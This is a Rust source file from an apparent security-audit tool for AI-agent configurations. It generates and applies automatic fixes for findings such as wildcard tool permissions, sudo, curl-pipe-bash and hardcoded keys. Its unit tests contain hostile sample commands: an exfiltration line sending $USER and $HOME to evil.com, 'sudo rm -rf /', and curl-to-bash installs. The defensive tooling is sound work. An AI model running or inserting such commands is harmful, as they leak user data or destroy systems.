Skip to main content

cc_audit/
fix.rs

1use crate::error::{AuditError, Result};
2use crate::rules::Finding;
3use std::collections::HashMap;
4use std::fs;
5use std::path::Path;
6
7/// Represents a potential fix for a finding
8#[derive(Debug, Clone)]
9pub struct Fix {
10    pub finding_id: String,
11    pub file_path: String,
12    pub line: usize,
13    pub description: String,
14    pub original: String,
15    pub replacement: String,
16}
17
18/// Result of applying fixes
19#[derive(Debug)]
20pub struct FixResult {
21    pub applied: Vec<Fix>,
22    pub skipped: Vec<(Fix, String)>, // Fix and reason for skipping
23    pub errors: Vec<(Fix, String)>,  // Fix and error message
24}
25
26/// Auto-fix engine for security findings
27pub struct AutoFixer {
28    dry_run: bool,
29}
30
31impl AutoFixer {
32    pub fn new(dry_run: bool) -> Self {
33        Self { dry_run }
34    }
35
36    /// Generate fixes for the given findings
37    pub fn generate_fixes(&self, findings: &[Finding]) -> Vec<Fix> {
38        let mut fixes = Vec::new();
39
40        for finding in findings {
41            if let Some(fix) = self.generate_fix(finding) {
42                fixes.push(fix);
43            }
44        }
45
46        fixes
47    }
48
49    /// Generate a fix for a single finding
50    fn generate_fix(&self, finding: &Finding) -> Option<Fix> {
51        match finding.id.as_str() {
52            // OP-001: Wildcard tool permission -> Restrict to specific tools
53            "OP-001" => self.fix_wildcard_permission(finding),
54
55            // PE-001: sudo usage -> Remove sudo
56            "PE-001" => self.fix_sudo_usage(finding),
57
58            // SC-001: Curl pipe bash -> Download and verify
59            "SC-001" => self.fix_curl_pipe_bash(finding),
60
61            // EX-001: Environment variable exfiltration -> Mask sensitive vars
62            "EX-001" => self.fix_env_exfiltration(finding),
63
64            // PI-001: Command injection via backticks -> Use safer alternative
65            "PI-001" => self.fix_backtick_injection(finding),
66
67            // DP-001: Hardcoded API key -> Use environment variable
68            "DP-001" | "DP-002" | "DP-003" | "DP-004" | "DP-005" | "DP-006" => {
69                self.fix_hardcoded_secret(finding)
70            }
71
72            // OP-009: Bash wildcard permission -> Restrict to specific commands
73            "OP-009" => self.fix_bash_wildcard(finding),
74
75            _ => None,
76        }
77    }
78
79    fn fix_wildcard_permission(&self, finding: &Finding) -> Option<Fix> {
80        // Replace allowed-tools: * with a safe default
81        if finding.code.contains("allowed-tools: *")
82            || finding.code.contains("allowed-tools: \"*\"")
83        {
84            let replacement = finding
85                .code
86                .replace("allowed-tools: *", "allowed-tools: Read, Grep, Glob")
87                .replace("allowed-tools: \"*\"", "allowed-tools: Read, Grep, Glob");
88
89            return Some(Fix {
90                finding_id: finding.id.clone(),
91                file_path: finding.location.file.clone(),
92                line: finding.location.line,
93                description: "Replace wildcard permission with safe defaults".to_string(),
94                original: finding.code.clone(),
95                replacement,
96            });
97        }
98
99        // Handle allowedTools in JSON
100        if finding.code.contains("\"allowedTools\"")
101            && (finding.code.contains("\"*\"") || finding.code.contains(": \"*\""))
102        {
103            let replacement = finding
104                .code
105                .replace("\"*\"", "\"Read, Grep, Glob\"")
106                .replace(": \"*\"", ": \"Read, Grep, Glob\"");
107
108            return Some(Fix {
109                finding_id: finding.id.clone(),
110                file_path: finding.location.file.clone(),
111                line: finding.location.line,
112                description: "Replace wildcard permission with safe defaults".to_string(),
113                original: finding.code.clone(),
114                replacement,
115            });
116        }
117
118        None
119    }
120
121    fn fix_sudo_usage(&self, finding: &Finding) -> Option<Fix> {
122        // Remove sudo from the command
123        if finding.code.contains("sudo ") {
124            let replacement = finding.code.replace("sudo ", "");
125
126            return Some(Fix {
127                finding_id: finding.id.clone(),
128                file_path: finding.location.file.clone(),
129                line: finding.location.line,
130                description: "Remove sudo privilege escalation".to_string(),
131                original: finding.code.clone(),
132                replacement,
133            });
134        }
135
136        None
137    }
138
139    fn fix_curl_pipe_bash(&self, finding: &Finding) -> Option<Fix> {
140        // Convert curl | bash to safer download-then-verify pattern
141        if finding.code.contains("| bash") || finding.code.contains("| sh") {
142            // Extract URL from curl command
143            let code = &finding.code;
144            let url_start = code.find("http");
145            if let Some(start) = url_start {
146                let url_end = code[start..]
147                    .find(|c: char| c.is_whitespace() || c == '"' || c == '\'')
148                    .map(|i| start + i)
149                    .unwrap_or(code.len());
150                let url = &code[start..url_end];
151
152                let replacement = format!(
153                    "# Download script first, verify before running\ncurl -o /tmp/install.sh {}\n# Review: cat /tmp/install.sh\n# Then run: sh /tmp/install.sh",
154                    url
155                );
156
157                return Some(Fix {
158                    finding_id: finding.id.clone(),
159                    file_path: finding.location.file.clone(),
160                    line: finding.location.line,
161                    description: "Replace curl|bash with download-then-verify pattern".to_string(),
162                    original: finding.code.clone(),
163                    replacement,
164                });
165            }
166        }
167
168        None
169    }
170
171    fn fix_env_exfiltration(&self, finding: &Finding) -> Option<Fix> {
172        // Mask sensitive environment variables
173        if finding.code.contains("$HOME")
174            || finding.code.contains("$USER")
175            || finding.code.contains("$PATH")
176        {
177            let replacement = finding
178                .code
179                .replace("$HOME", "[REDACTED]")
180                .replace("$USER", "[REDACTED]")
181                .replace("$PATH", "[REDACTED]");
182
183            return Some(Fix {
184                finding_id: finding.id.clone(),
185                file_path: finding.location.file.clone(),
186                line: finding.location.line,
187                description: "Mask sensitive environment variables".to_string(),
188                original: finding.code.clone(),
189                replacement,
190            });
191        }
192
193        None
194    }
195
196    fn fix_backtick_injection(&self, finding: &Finding) -> Option<Fix> {
197        // Replace backticks with safer $() syntax
198        if finding.code.contains('`') {
199            // Count backticks to ensure pairs
200            let backtick_count = finding.code.matches('`').count();
201            if backtick_count >= 2 && backtick_count.is_multiple_of(2) {
202                let mut in_backtick = false;
203                let mut result = String::new();
204
205                for c in finding.code.chars() {
206                    if c == '`' {
207                        if in_backtick {
208                            result.push(')');
209                        } else {
210                            result.push_str("$(");
211                        }
212                        in_backtick = !in_backtick;
213                    } else {
214                        result.push(c);
215                    }
216                }
217
218                return Some(Fix {
219                    finding_id: finding.id.clone(),
220                    file_path: finding.location.file.clone(),
221                    line: finding.location.line,
222                    description: "Replace backticks with safer $() syntax".to_string(),
223                    original: finding.code.clone(),
224                    replacement: result,
225                });
226            }
227        }
228
229        None
230    }
231
232    fn fix_hardcoded_secret(&self, finding: &Finding) -> Option<Fix> {
233        // Replace hardcoded secrets with environment variable references
234        // This is a simple heuristic - in practice, more sophisticated detection is needed
235
236        // Pattern: key = "value" or key: "value"
237        let code = &finding.code;
238
239        // Detect API key patterns
240        if code.contains("api_key") || code.contains("apiKey") || code.contains("API_KEY") {
241            // Simplified replacement - just add a comment to remind user to fix
242            return Some(Fix {
243                finding_id: finding.id.clone(),
244                file_path: finding.location.file.clone(),
245                line: finding.location.line,
246                description: "Replace hardcoded secret with environment variable".to_string(),
247                original: finding.code.clone(),
248                replacement: format!(
249                    "# TODO: Move secret to environment variable\n# {}",
250                    finding.code
251                ),
252            });
253        }
254
255        None
256    }
257
258    fn fix_bash_wildcard(&self, finding: &Finding) -> Option<Fix> {
259        // Replace Bash(*) with specific allowed commands
260        if finding.code.contains("Bash(*)") || finding.code.contains("Bash( * )") {
261            let replacement = finding
262                .code
263                .replace("Bash(*)", "Bash(ls:*, cat:*, echo:*)")
264                .replace("Bash( * )", "Bash(ls:*, cat:*, echo:*)");
265
266            return Some(Fix {
267                finding_id: finding.id.clone(),
268                file_path: finding.location.file.clone(),
269                line: finding.location.line,
270                description: "Replace Bash wildcard with specific allowed commands".to_string(),
271                original: finding.code.clone(),
272                replacement,
273            });
274        }
275
276        None
277    }
278
279    /// Apply fixes to files
280    pub fn apply_fixes(&self, fixes: &[Fix]) -> FixResult {
281        let mut result = FixResult {
282            applied: Vec::new(),
283            skipped: Vec::new(),
284            errors: Vec::new(),
285        };
286
287        // Group fixes by file
288        let mut fixes_by_file: HashMap<String, Vec<&Fix>> = HashMap::new();
289        for fix in fixes {
290            fixes_by_file
291                .entry(fix.file_path.clone())
292                .or_default()
293                .push(fix);
294        }
295
296        for (file_path, file_fixes) in fixes_by_file {
297            match self.apply_fixes_to_file(&file_path, &file_fixes) {
298                Ok(applied) => {
299                    for fix in applied {
300                        result.applied.push(fix.clone());
301                    }
302                }
303                Err(e) => {
304                    for fix in file_fixes {
305                        result.errors.push((fix.clone(), e.to_string()));
306                    }
307                }
308            }
309        }
310
311        result
312    }
313
314    fn apply_fixes_to_file(&self, file_path: &str, fixes: &[&Fix]) -> Result<Vec<Fix>> {
315        let path = Path::new(file_path);
316
317        // Read the file
318        let content = fs::read_to_string(path).map_err(|e| AuditError::ReadError {
319            path: file_path.to_string(),
320            source: e,
321        })?;
322
323        let lines: Vec<&str> = content.lines().collect();
324        let mut new_lines: Vec<String> = lines.iter().map(|s| s.to_string()).collect();
325        let mut applied = Vec::new();
326
327        // Sort fixes by line number in reverse order to avoid index shifting
328        let mut sorted_fixes: Vec<&&Fix> = fixes.iter().collect();
329        sorted_fixes.sort_by(|a, b| b.line.cmp(&a.line));
330
331        for fix in sorted_fixes {
332            if fix.line > 0 && fix.line <= new_lines.len() {
333                let line_idx = fix.line - 1;
334                let current_line = &new_lines[line_idx];
335
336                // Check if the line still matches
337                if current_line.contains(&fix.original)
338                    || current_line.trim() == fix.original.trim()
339                {
340                    if !self.dry_run {
341                        // Apply the fix
342                        new_lines[line_idx] = current_line.replace(&fix.original, &fix.replacement);
343                    }
344                    applied.push((*fix).clone());
345                }
346            }
347        }
348
349        // Write back to file if not dry run
350        if !self.dry_run && !applied.is_empty() {
351            let new_content = new_lines.join("\n");
352            fs::write(path, new_content).map_err(|e| AuditError::ReadError {
353                path: file_path.to_string(),
354                source: e,
355            })?;
356        }
357
358        Ok(applied)
359    }
360}
361
362impl Fix {
363    /// Format fix for terminal display
364    pub fn format_terminal(&self, dry_run: bool) -> String {
365        use colored::Colorize;
366
367        let mut output = String::new();
368
369        let prefix = if dry_run { "[DRY RUN] " } else { "" };
370
371        output.push_str(&format!(
372            "{}{} {} at {}:{}\n",
373            prefix.yellow(),
374            "Fix:".cyan().bold(),
375            self.description,
376            self.file_path,
377            self.line
378        ));
379
380        output.push_str(&format!("  {} {}\n", "-".red(), self.original.trim()));
381        output.push_str(&format!("  {} {}\n", "+".green(), self.replacement.trim()));
382
383        output
384    }
385}
386
387impl FixResult {
388    /// Format result for terminal display
389    pub fn format_terminal(&self, dry_run: bool) -> String {
390        use colored::Colorize;
391
392        let mut output = String::new();
393
394        if self.applied.is_empty() && self.skipped.is_empty() && self.errors.is_empty() {
395            output.push_str(&"No fixable issues found.\n".yellow().to_string());
396            return output;
397        }
398
399        let prefix = if dry_run { "[DRY RUN] " } else { "" };
400
401        if !self.applied.is_empty() {
402            output.push_str(&format!(
403                "\n{}{}\n",
404                prefix.yellow(),
405                if dry_run {
406                    "Would apply fixes:".cyan().bold()
407                } else {
408                    "Applied fixes:".green().bold()
409                }
410            ));
411
412            for fix in &self.applied {
413                output.push_str(&fix.format_terminal(dry_run));
414                output.push('\n');
415            }
416        }
417
418        if !self.skipped.is_empty() {
419            output.push_str(&format!("\n{}\n", "Skipped:".yellow().bold()));
420            for (fix, reason) in &self.skipped {
421                output.push_str(&format!(
422                    "  {} {} - {}\n",
423                    "~".yellow(),
424                    fix.description,
425                    reason
426                ));
427            }
428        }
429
430        if !self.errors.is_empty() {
431            output.push_str(&format!("\n{}\n", "Errors:".red().bold()));
432            for (fix, error) in &self.errors {
433                output.push_str(&format!(
434                    "  {} {} - {}\n",
435                    "!".red(),
436                    fix.description,
437                    error
438                ));
439            }
440        }
441
442        output.push_str(&format!(
443            "\n{}: {} applied, {} skipped, {} errors\n",
444            if dry_run { "Summary" } else { "Result" },
445            self.applied.len(),
446            self.skipped.len(),
447            self.errors.len()
448        ));
449
450        output
451    }
452}
453
454#[cfg(test)]
455mod tests {
456    use super::*;
457    use crate::rules::{Category, Confidence, Location, Severity};
458    use tempfile::TempDir;
459
460    fn create_test_finding(id: &str, code: &str, file: &str, line: usize) -> Finding {
461        Finding {
462            id: id.to_string(),
463            severity: Severity::High,
464            category: Category::Overpermission,
465            confidence: Confidence::Firm,
466            name: "Test Finding".to_string(),
467            location: Location {
468                file: file.to_string(),
469                line,
470                column: None,
471            },
472            code: code.to_string(),
473            message: "Test message".to_string(),
474            recommendation: "Test recommendation".to_string(),
475            fix_hint: None,
476            cwe_ids: vec![],
477            rule_severity: None,
478        }
479    }
480
481    #[test]
482    fn test_fix_wildcard_permission() {
483        let fixer = AutoFixer::new(true);
484        let finding = create_test_finding("OP-001", "allowed-tools: *", "SKILL.md", 5);
485
486        let fix = fixer.generate_fix(&finding);
487        assert!(fix.is_some());
488
489        let fix = fix.unwrap();
490        assert!(fix.replacement.contains("Read, Grep, Glob"));
491    }
492
493    #[test]
494    fn test_fix_sudo_usage() {
495        let fixer = AutoFixer::new(true);
496        let finding = create_test_finding("PE-001", "sudo apt install", "script.sh", 10);
497
498        let fix = fixer.generate_fix(&finding);
499        assert!(fix.is_some());
500
501        let fix = fix.unwrap();
502        assert!(!fix.replacement.contains("sudo"));
503        assert!(fix.replacement.contains("apt install"));
504    }
505
506    #[test]
507    fn test_fix_bash_wildcard() {
508        let fixer = AutoFixer::new(true);
509        let finding = create_test_finding("OP-009", "Bash(*)", "settings.json", 15);
510
511        let fix = fixer.generate_fix(&finding);
512        assert!(fix.is_some());
513
514        let fix = fix.unwrap();
515        assert!(fix.replacement.contains("ls:*"));
516    }
517
518    #[test]
519    fn test_apply_fixes_dry_run() {
520        let temp_dir = TempDir::new().unwrap();
521        let test_file = temp_dir.path().join("test.md");
522        fs::write(&test_file, "---\nallowed-tools: *\n---\n").unwrap();
523
524        let fixer = AutoFixer::new(true); // dry run
525        let finding = create_test_finding(
526            "OP-001",
527            "allowed-tools: *",
528            &test_file.display().to_string(),
529            2,
530        );
531
532        let fixes = fixer.generate_fixes(&[finding]);
533        let result = fixer.apply_fixes(&fixes);
534
535        assert_eq!(result.applied.len(), 1);
536
537        // File should not be modified in dry run
538        let content = fs::read_to_string(&test_file).unwrap();
539        assert!(content.contains("allowed-tools: *"));
540    }
541
542    #[test]
543    fn test_apply_fixes_real() {
544        let temp_dir = TempDir::new().unwrap();
545        let test_file = temp_dir.path().join("test.md");
546        fs::write(&test_file, "---\nallowed-tools: *\n---\n").unwrap();
547
548        let fixer = AutoFixer::new(false); // real run
549        let finding = create_test_finding(
550            "OP-001",
551            "allowed-tools: *",
552            &test_file.display().to_string(),
553            2,
554        );
555
556        let fixes = fixer.generate_fixes(&[finding]);
557        let result = fixer.apply_fixes(&fixes);
558
559        assert_eq!(result.applied.len(), 1);
560
561        // File should be modified
562        let content = fs::read_to_string(&test_file).unwrap();
563        assert!(content.contains("Read, Grep, Glob"));
564        assert!(!content.contains("allowed-tools: *"));
565    }
566
567    #[test]
568    fn test_no_fix_available() {
569        let fixer = AutoFixer::new(true);
570        let finding = create_test_finding("UNKNOWN-001", "some code", "file.md", 1);
571
572        let fix = fixer.generate_fix(&finding);
573        assert!(fix.is_none());
574    }
575
576    #[test]
577    fn test_fix_format_terminal() {
578        let fix = Fix {
579            finding_id: "OP-001".to_string(),
580            file_path: "SKILL.md".to_string(),
581            line: 5,
582            description: "Test fix".to_string(),
583            original: "old code".to_string(),
584            replacement: "new code".to_string(),
585        };
586
587        let output = fix.format_terminal(false);
588        assert!(output.contains("Fix:"));
589        assert!(output.contains("Test fix"));
590        assert!(output.contains("old code"));
591        assert!(output.contains("new code"));
592    }
593
594    #[test]
595    fn test_fix_result_format_terminal() {
596        let fix = Fix {
597            finding_id: "OP-001".to_string(),
598            file_path: "SKILL.md".to_string(),
599            line: 5,
600            description: "Test fix".to_string(),
601            original: "old code".to_string(),
602            replacement: "new code".to_string(),
603        };
604
605        let result = FixResult {
606            applied: vec![fix],
607            skipped: vec![],
608            errors: vec![],
609        };
610
611        let output = result.format_terminal(true);
612        assert!(output.contains("DRY RUN"));
613        assert!(output.contains("1 applied"));
614    }
615
616    #[test]
617    fn test_fix_curl_pipe_bash() {
618        let fixer = AutoFixer::new(true);
619        let finding = create_test_finding(
620            "SC-001",
621            "curl http://example.com/install.sh | bash",
622            "run.sh",
623            1,
624        );
625
626        let fix = fixer.generate_fix(&finding);
627        assert!(fix.is_some());
628
629        let fix = fix.unwrap();
630        assert!(fix.replacement.contains("Download script first"));
631        assert!(fix.replacement.contains("/tmp/install.sh"));
632    }
633
634    #[test]
635    fn test_fix_curl_pipe_sh() {
636        let fixer = AutoFixer::new(true);
637        let finding =
638            create_test_finding("SC-001", "curl https://get.sdkman.io | sh", "install.sh", 1);
639
640        let fix = fixer.generate_fix(&finding);
641        assert!(fix.is_some());
642
643        let fix = fix.unwrap();
644        assert!(fix.replacement.contains("Download script first"));
645    }
646
647    #[test]
648    fn test_fix_env_exfiltration() {
649        let fixer = AutoFixer::new(true);
650        let finding = create_test_finding(
651            "EX-001",
652            "curl http://evil.com?user=$USER&home=$HOME",
653            "exfil.sh",
654            1,
655        );
656
657        let fix = fixer.generate_fix(&finding);
658        assert!(fix.is_some());
659
660        let fix = fix.unwrap();
661        assert!(fix.replacement.contains("[REDACTED]"));
662        assert!(!fix.replacement.contains("$USER"));
663        assert!(!fix.replacement.contains("$HOME"));
664    }
665
666    #[test]
667    fn test_fix_env_exfiltration_path() {
668        let fixer = AutoFixer::new(true);
669        let finding = create_test_finding("EX-001", "echo $PATH", "leak.sh", 1);
670
671        let fix = fixer.generate_fix(&finding);
672        assert!(fix.is_some());
673
674        let fix = fix.unwrap();
675        assert!(fix.replacement.contains("[REDACTED]"));
676    }
677
678    #[test]
679    fn test_fix_backtick_injection() {
680        let fixer = AutoFixer::new(true);
681        let finding = create_test_finding("PI-001", "result=`cmd arg`", "script.sh", 1);
682
683        let fix = fixer.generate_fix(&finding);
684        assert!(fix.is_some());
685
686        let fix = fix.unwrap();
687        assert!(fix.replacement.contains("$(cmd arg)"));
688        assert!(!fix.replacement.contains('`'));
689    }
690
691    #[test]
692    fn test_fix_backtick_injection_multiple() {
693        let fixer = AutoFixer::new(true);
694        let finding = create_test_finding("PI-001", "echo `foo` and `bar`", "script.sh", 1);
695
696        let fix = fixer.generate_fix(&finding);
697        assert!(fix.is_some());
698
699        let fix = fix.unwrap();
700        assert!(fix.replacement.contains("$(foo)"));
701        assert!(fix.replacement.contains("$(bar)"));
702    }
703
704    #[test]
705    fn test_fix_backtick_injection_odd_count() {
706        let fixer = AutoFixer::new(true);
707        let finding = create_test_finding("PI-001", "echo ` only one backtick", "script.sh", 1);
708
709        let fix = fixer.generate_fix(&finding);
710        assert!(fix.is_none());
711    }
712
713    #[test]
714    fn test_fix_hardcoded_secret() {
715        let fixer = AutoFixer::new(true);
716        let finding = create_test_finding("DP-001", "api_key = \"sk-1234567890\"", "config.py", 1);
717
718        let fix = fixer.generate_fix(&finding);
719        assert!(fix.is_some());
720
721        let fix = fix.unwrap();
722        assert!(fix.replacement.contains("TODO"));
723        assert!(fix.replacement.contains("environment variable"));
724    }
725
726    #[test]
727    fn test_fix_hardcoded_secret_api_key_variant() {
728        let fixer = AutoFixer::new(true);
729        let finding = create_test_finding("DP-002", "apiKey: 'secret123'", "config.yaml", 1);
730
731        let fix = fixer.generate_fix(&finding);
732        assert!(fix.is_some());
733    }
734
735    #[test]
736    fn test_fix_hardcoded_secret_api_key_upper() {
737        let fixer = AutoFixer::new(true);
738        let finding = create_test_finding("DP-003", "const API_KEY = 'test'", "constants.js", 1);
739
740        let fix = fixer.generate_fix(&finding);
741        assert!(fix.is_some());
742    }
743
744    #[test]
745    fn test_fix_wildcard_permission_json() {
746        let fixer = AutoFixer::new(true);
747        let finding = create_test_finding("OP-001", "\"allowedTools\": \"*\"", "settings.json", 5);
748
749        let fix = fixer.generate_fix(&finding);
750        assert!(fix.is_some());
751
752        let fix = fix.unwrap();
753        assert!(fix.replacement.contains("Read, Grep, Glob"));
754    }
755
756    #[test]
757    fn test_fix_wildcard_permission_quoted() {
758        let fixer = AutoFixer::new(true);
759        let finding = create_test_finding("OP-001", "allowed-tools: \"*\"", "SKILL.md", 5);
760
761        let fix = fixer.generate_fix(&finding);
762        assert!(fix.is_some());
763
764        let fix = fix.unwrap();
765        assert!(fix.replacement.contains("Read, Grep, Glob"));
766    }
767
768    #[test]
769    fn test_fix_bash_wildcard_with_spaces() {
770        let fixer = AutoFixer::new(true);
771        let finding = create_test_finding("OP-009", "Bash( * )", "settings.json", 15);
772
773        let fix = fixer.generate_fix(&finding);
774        assert!(fix.is_some());
775
776        let fix = fix.unwrap();
777        assert!(fix.replacement.contains("ls:*"));
778    }
779
780    #[test]
781    fn test_generate_fixes_multiple() {
782        let fixer = AutoFixer::new(true);
783        let findings = vec![
784            create_test_finding("OP-001", "allowed-tools: *", "SKILL.md", 5),
785            create_test_finding("PE-001", "sudo rm -rf /", "script.sh", 10),
786            create_test_finding("OP-009", "Bash(*)", "settings.json", 15),
787        ];
788
789        let fixes = fixer.generate_fixes(&findings);
790        assert_eq!(fixes.len(), 3);
791    }
792
793    #[test]
794    fn test_fix_result_format_terminal_no_fixes() {
795        let result = FixResult {
796            applied: vec![],
797            skipped: vec![],
798            errors: vec![],
799        };
800
801        let output = result.format_terminal(false);
802        assert!(output.contains("No fixable issues found"));
803    }
804
805    #[test]
806    fn test_fix_result_format_terminal_with_skipped() {
807        let fix = Fix {
808            finding_id: "OP-001".to_string(),
809            file_path: "SKILL.md".to_string(),
810            line: 5,
811            description: "Test fix".to_string(),
812            original: "old code".to_string(),
813            replacement: "new code".to_string(),
814        };
815
816        let result = FixResult {
817            applied: vec![],
818            skipped: vec![(fix, "Code changed".to_string())],
819            errors: vec![],
820        };
821
822        let output = result.format_terminal(false);
823        assert!(output.contains("Skipped:"));
824        assert!(output.contains("Code changed"));
825    }
826
827    #[test]
828    fn test_fix_result_format_terminal_with_errors() {
829        let fix = Fix {
830            finding_id: "OP-001".to_string(),
831            file_path: "SKILL.md".to_string(),
832            line: 5,
833            description: "Test fix".to_string(),
834            original: "old code".to_string(),
835            replacement: "new code".to_string(),
836        };
837
838        let result = FixResult {
839            applied: vec![],
840            skipped: vec![],
841            errors: vec![(fix, "File not found".to_string())],
842        };
843
844        let output = result.format_terminal(false);
845        assert!(output.contains("Errors:"));
846        assert!(output.contains("File not found"));
847    }
848
849    #[test]
850    fn test_fix_format_terminal_dry_run() {
851        let fix = Fix {
852            finding_id: "OP-001".to_string(),
853            file_path: "SKILL.md".to_string(),
854            line: 5,
855            description: "Test fix".to_string(),
856            original: "old code".to_string(),
857            replacement: "new code".to_string(),
858        };
859
860        let output = fix.format_terminal(true);
861        assert!(output.contains("DRY RUN"));
862    }
863
864    #[test]
865    fn test_fix_result_format_terminal_applied_not_dry_run() {
866        let fix = Fix {
867            finding_id: "OP-001".to_string(),
868            file_path: "SKILL.md".to_string(),
869            line: 5,
870            description: "Test fix".to_string(),
871            original: "old code".to_string(),
872            replacement: "new code".to_string(),
873        };
874
875        let result = FixResult {
876            applied: vec![fix],
877            skipped: vec![],
878            errors: vec![],
879        };
880
881        let output = result.format_terminal(false);
882        assert!(output.contains("Applied fixes:"));
883        assert!(!output.contains("DRY RUN"));
884    }
885
886    #[test]
887    fn test_apply_fixes_to_nonexistent_file() {
888        let fixer = AutoFixer::new(false);
889        let finding =
890            create_test_finding("OP-001", "allowed-tools: *", "/nonexistent/path/file.md", 2);
891
892        let fixes = fixer.generate_fixes(&[finding]);
893        let result = fixer.apply_fixes(&fixes);
894
895        assert!(result.applied.is_empty());
896        assert!(!result.errors.is_empty());
897    }
898
899    #[test]
900    fn test_apply_fixes_line_mismatch() {
901        let temp_dir = TempDir::new().unwrap();
902        let test_file = temp_dir.path().join("test.md");
903        fs::write(&test_file, "---\nsomething-else: value\n---\n").unwrap();
904
905        let fixer = AutoFixer::new(false);
906        let finding = create_test_finding(
907            "OP-001",
908            "allowed-tools: *",
909            &test_file.display().to_string(),
910            2,
911        );
912
913        let fixes = fixer.generate_fixes(&[finding]);
914        let result = fixer.apply_fixes(&fixes);
915
916        assert!(result.applied.is_empty());
917    }
918
919    #[test]
920    fn test_fix_debug_trait() {
921        let fix = Fix {
922            finding_id: "OP-001".to_string(),
923            file_path: "SKILL.md".to_string(),
924            line: 5,
925            description: "Test fix".to_string(),
926            original: "old".to_string(),
927            replacement: "new".to_string(),
928        };
929
930        let debug_str = format!("{:?}", fix);
931        assert!(debug_str.contains("Fix"));
932        assert!(debug_str.contains("OP-001"));
933    }
934
935    #[test]
936    fn test_fix_clone_trait() {
937        let fix = Fix {
938            finding_id: "OP-001".to_string(),
939            file_path: "SKILL.md".to_string(),
940            line: 5,
941            description: "Test fix".to_string(),
942            original: "old".to_string(),
943            replacement: "new".to_string(),
944        };
945
946        let cloned = fix.clone();
947        assert_eq!(fix.finding_id, cloned.finding_id);
948        assert_eq!(fix.file_path, cloned.file_path);
949    }
950
951    #[test]
952    fn test_fix_result_debug_trait() {
953        let result = FixResult {
954            applied: vec![],
955            skipped: vec![],
956            errors: vec![],
957        };
958
959        let debug_str = format!("{:?}", result);
960        assert!(debug_str.contains("FixResult"));
961    }
962
963    #[test]
964    fn test_fix_no_match_env_exfiltration() {
965        let fixer = AutoFixer::new(true);
966        let finding = create_test_finding("EX-001", "echo hello world", "script.sh", 1);
967
968        let fix = fixer.generate_fix(&finding);
969        assert!(fix.is_none());
970    }
971
972    #[test]
973    fn test_fix_no_match_sudo() {
974        let fixer = AutoFixer::new(true);
975        let finding = create_test_finding("PE-001", "apt install vim", "script.sh", 1);
976
977        let fix = fixer.generate_fix(&finding);
978        assert!(fix.is_none());
979    }
980
981    #[test]
982    fn test_fix_no_match_curl_pipe() {
983        let fixer = AutoFixer::new(true);
984        let finding = create_test_finding("SC-001", "curl http://example.com", "script.sh", 1);
985
986        let fix = fixer.generate_fix(&finding);
987        assert!(fix.is_none());
988    }
989
990    #[test]
991    fn test_fix_no_match_wildcard() {
992        let fixer = AutoFixer::new(true);
993        let finding = create_test_finding("OP-001", "allowed-tools: Read, Write", "SKILL.md", 1);
994
995        let fix = fixer.generate_fix(&finding);
996        assert!(fix.is_none());
997    }
998
999    #[test]
1000    fn test_fix_no_match_bash_wildcard() {
1001        let fixer = AutoFixer::new(true);
1002        let finding = create_test_finding("OP-009", "Bash(ls:*, cat:*)", "settings.json", 1);
1003
1004        let fix = fixer.generate_fix(&finding);
1005        assert!(fix.is_none());
1006    }
1007
1008    #[test]
1009    fn test_fix_no_match_hardcoded_secret() {
1010        let fixer = AutoFixer::new(true);
1011        let finding = create_test_finding("DP-001", "password = 'secret'", "config.py", 1);
1012
1013        let fix = fixer.generate_fix(&finding);
1014        assert!(fix.is_none());
1015    }
1016
1017    #[test]
1018    fn test_apply_fixes_out_of_bounds_line() {
1019        let temp_dir = TempDir::new().unwrap();
1020        let test_file = temp_dir.path().join("test.md");
1021        fs::write(&test_file, "line1\nline2\n").unwrap();
1022
1023        let fixer = AutoFixer::new(false);
1024
1025        let fix = Fix {
1026            finding_id: "OP-001".to_string(),
1027            file_path: test_file.display().to_string(),
1028            line: 100,
1029            description: "Test fix".to_string(),
1030            original: "something".to_string(),
1031            replacement: "other".to_string(),
1032        };
1033
1034        let result = fixer.apply_fixes(&[fix]);
1035        assert!(result.applied.is_empty());
1036    }
1037
1038    #[test]
1039    fn test_apply_fixes_line_zero() {
1040        let temp_dir = TempDir::new().unwrap();
1041        let test_file = temp_dir.path().join("test.md");
1042        fs::write(&test_file, "line1\nline2\n").unwrap();
1043
1044        let fixer = AutoFixer::new(false);
1045
1046        let fix = Fix {
1047            finding_id: "OP-001".to_string(),
1048            file_path: test_file.display().to_string(),
1049            line: 0,
1050            description: "Test fix".to_string(),
1051            original: "something".to_string(),
1052            replacement: "other".to_string(),
1053        };
1054
1055        let result = fixer.apply_fixes(&[fix]);
1056        assert!(result.applied.is_empty());
1057    }
1058
1059    #[test]
1060    fn test_fix_dp_004_hardcoded_secret() {
1061        let fixer = AutoFixer::new(true);
1062        let finding = create_test_finding("DP-004", "api_key = 'test'", "config.py", 1);
1063
1064        let fix = fixer.generate_fix(&finding);
1065        assert!(fix.is_some());
1066    }
1067
1068    #[test]
1069    fn test_fix_dp_005_hardcoded_secret() {
1070        let fixer = AutoFixer::new(true);
1071        let finding = create_test_finding("DP-005", "apiKey = 'test'", "config.js", 1);
1072
1073        let fix = fixer.generate_fix(&finding);
1074        assert!(fix.is_some());
1075    }
1076
1077    #[test]
1078    fn test_fix_dp_006_hardcoded_secret() {
1079        let fixer = AutoFixer::new(true);
1080        let finding = create_test_finding("DP-006", "API_KEY = 'test'", "config.rb", 1);
1081
1082        let fix = fixer.generate_fix(&finding);
1083        assert!(fix.is_some());
1084    }
1085
1086    #[test]
1087    fn test_fix_wildcard_allowed_tools() {
1088        let fixer = AutoFixer::new(true);
1089        let code = r#"{"allowedTools": "*"}"#;
1090        let finding = create_test_finding("OP-001", code, "mcp.json", 1);
1091
1092        let fix = fixer.generate_fix(&finding);
1093        assert!(fix.is_some());
1094        let fix = fix.unwrap();
1095        assert!(fix.replacement.contains("Read, Grep, Glob"));
1096    }
1097
1098    #[test]
1099    fn test_fix_wildcard_allowed_tools_colon_format() {
1100        let fixer = AutoFixer::new(true);
1101        let code = r#"{"allowedTools": "*"}"#;
1102        let finding = create_test_finding("OP-001", code, "settings.json", 1);
1103
1104        let fix = fixer.generate_fix(&finding);
1105        assert!(fix.is_some());
1106    }
1107
1108    #[test]
1109    fn test_fix_curl_pipe_bash_with_download() {
1110        let fixer = AutoFixer::new(true);
1111        let code = "curl -sL https://example.com/script.sh | bash";
1112        let finding = create_test_finding("PE-001", code, "install.sh", 1);
1113
1114        let fix = fixer.generate_fix(&finding);
1115        // This may or may not have a fix depending on pattern matching
1116        // The test exercises the code path
1117        let _ = fix;
1118    }
1119}